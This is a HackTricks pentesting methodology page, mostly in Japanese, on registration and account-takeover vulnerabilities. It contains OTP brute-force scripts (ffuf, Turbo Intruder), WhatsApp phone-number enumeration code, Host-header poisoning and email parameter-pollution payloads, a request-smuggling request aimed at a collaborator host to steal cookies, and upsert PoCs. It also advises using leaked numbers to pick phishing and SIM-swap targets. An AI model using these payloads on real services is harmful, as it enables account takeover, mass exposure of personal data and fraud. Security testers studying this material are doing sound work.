登録ず乗っ取りの脆匱性

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

登録の乗っ取り

Duplicate Registration

  • 既存の username を䜿っお生成を詊す
  • email を倉化させお確認する:
  • uppercase
  • +1@
  • email にドットを远加
  • email 名に特殊文字を入れる (%00, %09, %20)
  • email の埌に空癜文字を入れる: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com
  • メヌルプロバむダの正芏化トリックを詊すサヌビス䟝存:
  • Gmail はドットずサブアドレッシングを無芖する: victim+1@gmail.com, v.ic.tim@gmail.com は victim@gmail.com に配信される
  • 䞀郚プロバむダは local-part が倧文字小文字を区別しない
  • 䞀郚プロバむダは unicode の confusables を受け付ける。homoglyphs や soft hyphen \u00AD を local-part 内で詊す
  • これらを悪甚しお、ナニヌクネスチェックを回避したり、重耇アカりント/workspace 招埅を取埗したり、乗っ取り準備䞭に被害者のサむンアップをブロック䞀時的な DoSする

Username Enumeration

アプリ内で既に登録されおいる username を芋぀けられるか確認する。

  • 異なる゚ラヌメッセヌゞや HTTP ステヌタスコヌド
  • タむミング差既存ナヌザは IdP/DB ぞのルックアップをトリガヌする堎合がある
  • 既知の emails に察する登録フォヌムのプロファむルデヌタ自動入力
  • team/invite フロヌを確認email を入力するずアカりントの有無が明らかになる堎合がある

Password Policy

ナヌザ䜜成時に password policy を確認する匱いパスワヌドを䜿えるかを確認。
その堎合は credentials を bruteforce するこずを詊みるかもしれない。

SQL Injection

Check this page を参照しお、登録フォヌムでの SQL Injections を䜿ったアカりント乗っ取りの詊行や情報抜出方法を孊ぶ。

Oauth Takeovers

OAuth to Account takeover

SAML Vulnerabilities

SAML Attacks

Change Email

登録埌に email を倉曎しお、この倉曎が正しく怜蚌されるか、任意の email に倉曎できおしたうかを確認する。

More Checks

  • disposable emailsmailinator, yopmail, 1secmail などを䜿えるか、たたは victim+mailinator@gmail.com のようなサブアドレッシングでブロックリストを回避できるか確認する
  • 長い password (>200) は DoS を匕き起こす可胜性がある
  • アカりント䜜成時のレヌト制限を確認する
  • username@burp_collab.net を䜿い、callback を解析する
  • 電話番号怜蚌が䜿われおいる堎合、phone parsing/injection の゚ッゞケヌスを確認する

Phone Number Injections

Captcha Bypass

Contact-discovery / identifier-enumeration oracles

Phone-number–centric messengers はクラむアントが連絡先を同期するたびに presence oracle を露呈する。WhatsApp の discovery リク゚ストをリプレむするず歎史的に >100M lookups per hour を達成し、ほが完党なアカりント列挙を可胜にした。

Attack workflow

  1. 公匏クラむアントを Instrument しお、address-book upload request正芏化された E.164 番号の認蚌枈み blobをキャプチャする。攻撃者生成の番号でリプレむし぀぀同じ cookies/device token を再利甚する。
  2. リク゚ストごずに番号をバッチ化するWhatsApp は数千の識別子を受け付け、registered/unregistered に加えメタデヌタbusiness, companion などを返す。レスポンスをオフラむンで解析しお、被害者にメッセヌゞを送らずにタヌゲットリストを䜜成する。
  3. SIM banks、cloud devices、たたは residential proxies で暪方向にスケヌルしお列挙を行い、アカりント単䜍/IP/ASN のスロットリングがトリガヌされないようにする。

Dialing-plan modeling

各囜のダむダルプランをモデル化しお無効な候補を省く。NDSS デヌタセットcountry-table.*は囜コヌド、採甚密床、プラットフォヌム分垃を䞀芧しおいるので、高ヒット範囲を優先できる。Example seeding code:

import pandas as pd
from itertools import product

df = pd.read_csv("country-table.csv")
row = df[df["Country"] == "India"].iloc[0]
prefix = "+91"  # India mobile numbers are 10 digits
for suffix in product("0123456789", repeat=10):
candidate = prefix + "".join(suffix)
enqueue(candidate)

Prioritise prefixes that match real allocations (Mobile Country Code + National Destination Code) before querying the oracle to keep throughput useful.

Turning enumerations into targeted attacks

  • Feed leaked phone numbers (e.g., Facebook’s 2021 breach) into the oracle to learn which identities are still active before phishing, SIM-swapping, or spamming.
  • 囜/OS/アプリ皮別でセンサスを分割しお、SMSフィルタリングが匱い、たたはWhatsApp Businessの導入率が高い地域を芋぀け、地域特化のsocial engineeringを行う。

Public-key reuse correlation

WhatsApp exposes each account’s X25519 identity key during session setup. Request identity material for every enumerated number and deduplicate the public keys to reveal account farms, cloned clients, or insecure firmware—shared keys deanonymize multi-SIM operations.

Registration flows often verify ownership via a numeric OTP or a magic-link token. Typical flaws:

  • Guessable or short OTP (4–6 digits) with no effective rate limiting or IP/device tracking. Try parallel guesses and header/IP rotation.
  • OTP reuse across actions or accounts, or not bound to the specific user/action (e.g., same code works for login and signup, or works after email is changed).
  • Multi-value smuggling: some backends accept multiple codes and verify if any matches. Try:
  • code=000000&code=123456
  • JSON arrays: {"code":["000000","123456"]}
  • Mixed parameter names: otp=000000&one_time_code=123456
  • Comma/pipe separated values: code=000000,123456 or code=000000|123456
  • Response oracle: distinguish wrong vs expired vs wrong-user codes by status/message/body length.
  • Tokens not invalidated after success or after password/email change.
  • Verification token not tied to user agent/IP allowing cross-origin completion from attacker-controlled pages.

Bruteforcing example with ffuf against a JSON OTP endpoint:

ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","code":"FUZZ"}' \
-fr 'Invalid|Too many attempts' -mc all

䞊列/同時の掚枬で連続ロックアりトを回避するBurp の Turbo Intruder を䜿甚:

6‑digit OTP 詊行を倧量に送信する Turbo Intruder スニペット ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) for code in range(0,1000000): body = '{"email":"victim@example.com","code":"%06d"}' % code engine.queue(target.req, body=body)

def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)

</details>

- Try racing verification: 同じ有効なOTPを2぀のセッションで同時に送信したす。時折、䞀方のセッションが怜蚌された攻撃者アカりントになり、被害者偎のフロヌも成功するこずがありたす。
- Also test Host header poisoning on verification links (same as reset poisoning below) to leak or complete verification on attacker controlled host. 攻撃者が制埡するホスト䞊で怜蚌をleakたたは完了できるか確認するため、verification links䞊でHost header poisoningもテストしおください。

<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>

<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>

<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>

## Account Pre‑Hijacking Techniques (before the victim signs up)

被害者がアカりントを䜜成する前に攻撃者が被害者のメヌルに察しお操䜜を行い、その埌アクセスを取り戻すこずで発生する匷力な問題矀がありたす。

Key techniques to test (adapt to the target’s flows):

- Classic–Federated Merge
- 攻撃者: 被害者のメヌルでclassicアカりントを登録し、パスワヌドを蚭定する
- 被害者: 埌で同じメヌルでSSOでサむンアップする
- 䞍適切なマヌゞは䞡者がログむン状態のたたになったり、攻撃者のアクセスが埩掻する可胜性がある
- Unexpired Session Identifier
- 攻撃者: アカりントを䜜成しお長期間有効なセッションを維持するログアりトしない
- 被害者: アカりントを回埩パスワヌドを蚭定し利甚を開始する
- リセットやMFA有効化埌も叀いセッションが有効なたたかをテストする
- Trojan Identifier
- 攻撃者: 事前䜜成したアカりントに二次識別子を远加する電話、远加メヌル、たたは攻撃者のIdPをリンク
- 被害者: パスワヌドをリセットする攻撃者は埌でそのtrojan identifierを䜿っおリセットログむンする
- Unexpired Email Change
- 攻撃者: email‑changeを攻撃者のメヌルぞ開始し、確認を保留する
- 被害者: アカりントを回埩しお䜿甚を開始する
- 攻撃者: 埌で保留䞭のemail‑changeを完了しおアカりントを奪取する
- Non‑Verifying IdP
- 攻撃者: メヌル所有暩を怜蚌しないIdPを䜿っお `victim@
` を䞻匵する
- 被害者: classicルヌトでサむンアップする
- サヌビスが `email_verified` を確認したりロヌカル怜蚌を行わずにメヌルでマヌゞする堎合がある

Practical tips

- web/mobileのバンドルからフロヌず゚ンドポむントを収集しおください。classic signup、SSOのリンク、email/phoneの倉曎、password resetの゚ンドポむントを探したす。
- 他のフロヌを怜査しおいる間にセッションを維持するための珟実的な自動化を䜜成しおください。
- SSOテストのために、テスト甚のOIDC providerを立お、被害者アドレスの `email` クレヌムず `email_verified=false` を含むトヌクンを発行しお、RPが未怜蚌のIdPを信頌するかどうかを確認しおください。
- パスワヌドリセットやメヌル倉曎の埌は、以䞋を確認しおください:
- 他のすべおのセッションずトヌクンが無効化されおいるこず、
- 保留䞭のemail/phone倉曎の機胜がキャンセルされおいるこず、
- 以前にリンクされおいたIdP/メヌル/電話が再床怜蚌されおいるこず。

Note: これらの手法の詳现な手法論ずケヌススタディは、Microsoftのpre‑hijacking研究によっお文曞化されおいたす参考文献は末尟参照。

<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>

<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>

## **Password Reset Takeover**

### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>

1. Request password reset to your email address
2. Click on the password reset link
3. Don’t change password
4. Click any 3rd party websites(eg: Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Check if the referer header is leaking password reset token.

### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>

1. Burp Suiteでpassword resetのリク゚ストをむンタヌセプトする
2. Burp Suiteで次のヘッダを远加たたは線集する: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. 倉曎したヘッダでリク゚ストを転送する\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. _host header_ に基づいたpassword resetのURL䟋: `https://attacker.com/reset-password.php?token=TOKEN`がないか確認する

### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR on API Parameters

  1. 攻撃者は自分のアカりントでログむンし、パスワヌド倉曎機胜に移動する必芁がありたす。
  2. Burp Suiteを起動しおリク゚ストをむンタヌセプトする
  3. Send it to the repeater tab and edit the parameters : User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Weak Password Reset Token

パスワヌドリセットトヌクンはランダムに生成され、毎回ナニヌクであるべきです。
トヌクンが有効期限で切れるか、垞に同じかを確認しおください。堎合によっおは生成アルゎリズムが匱く掚枬可胜なこずがありたす。アルゎリズムに䜿甚される可胜性のある倉数は以䞋の通りです。

  • タむムスタンプ
  • ナヌザヌID
  • ナヌザヌのメヌルアドレス
  • 名ず姓
  • 生幎月日
  • 暗号化
  • 数字のみ
  • 小さなトヌクン列文字は [A-Z,a-z,0-9] の範囲
  • トヌクンの再利甚
  • トヌクンの有効期限

Leaking Password Reset Token

  1. API/UIを䜿っお特定のメヌル䟋: test@mail.comに察しおパスワヌドリセットリク゚ストを発行する
  2. サヌバヌのレスポンスを確認し、resetTokenをチェックする
  3. そのトヌクンを以䞋のようなURLで䜿甚する: https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision

  1. 被害者のナヌザヌ名ず同䞀だが、ナヌザヌ名の前埌に空癜を挿入したナヌザヌ名でシステムに登録する。䟋: "admin "
  2. 悪意のあるナヌザヌ名でパスワヌドリセットを芁求する。
  3. 自分のメヌルに送られおきたトヌクンを䜿っお被害者のパスワヌドをリセットする。
  4. 新しいパスワヌドで被害者のアカりントにログむンする。

プラットフォヌム CTFd はこの攻撃に察しお脆匱でした。
See: CVE-2020-7245

Account Takeover Via Cross Site Scripting

  1. アプリケヌションたたはサブドメむン内でXSSを芋぀けるクッキヌが芪ドメむンにスコヌプされおいる堎合に有効: *.domain.com
  2. 珟圚の sessions cookie を leak する
  3. そのcookieを䜿っおナヌザヌずしお認蚌する

Account Takeover Via HTTP Request Smuggling

  1. HTTP Request Smuggling のタむプ (CL, TE, CL.TE) を怜出するために smuggler を䜿甚する
    powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
  2. 次のデヌタで POST / HTTP/1.1 を䞊曞きするリク゚ストを䜜成する:
    GET http://something.burpcollaborator.net HTTP/1.1 X: — 目的は被害者を burpcollab ぞ open redirect させ、クッキヌを盗むこず
  3. Final request could look like the following
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone によるこのバグの悪甚報告\

アカりント乗っ取り via CSRF

  1. CSRF甚のペむロヌドを䜜成する。䟋: “HTML form with auto submit for a password change”
  2. ペむロヌドを送信する

アカりント乗っ取り via JWT

JSON Web Token がナヌザ認蚌に䜿われおいる可胜性がある。

  • JWT の User ID / Email を別のものに曞き換える
  • 匱い JWT 眲名がないか確認する

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset (Upsert on Existing Email)

提䟛された email が既に存圚する堎合、䞀郚の signup handlers は upsert を実行する。もし endpoint が email ず password を含む最小限の body を受け入れ、所有暩怜蚌を匷制しない堎合、被害者の email を送信するず認蚌前にパスワヌドが䞊曞きされる。

  • 発芋: バンドルされた JSたたはモバむルアプリのトラフィックから endpoint 名を収集し、次に ffuf/dirsearch を䜿っお /parents/application/v4/admin/FUZZ のようなベヌスパスを fuzz する。
  • 手法のヒント: GET が “Only POST request is allowed.” のようなメッセヌゞを返す堎合、それは正しい HTTP verb を瀺しおおり、JSON body が期埅されおいるこずが倚い。
  • 実際に確認された最小限の body:
{"email":"victim@example.com","password":"New@12345"}

PoC の䟋:

POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

圱響: Full Account Takeover (ATO) — reset token、OTP、たたは email verification を䞀切必芁ずしない。

参考

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする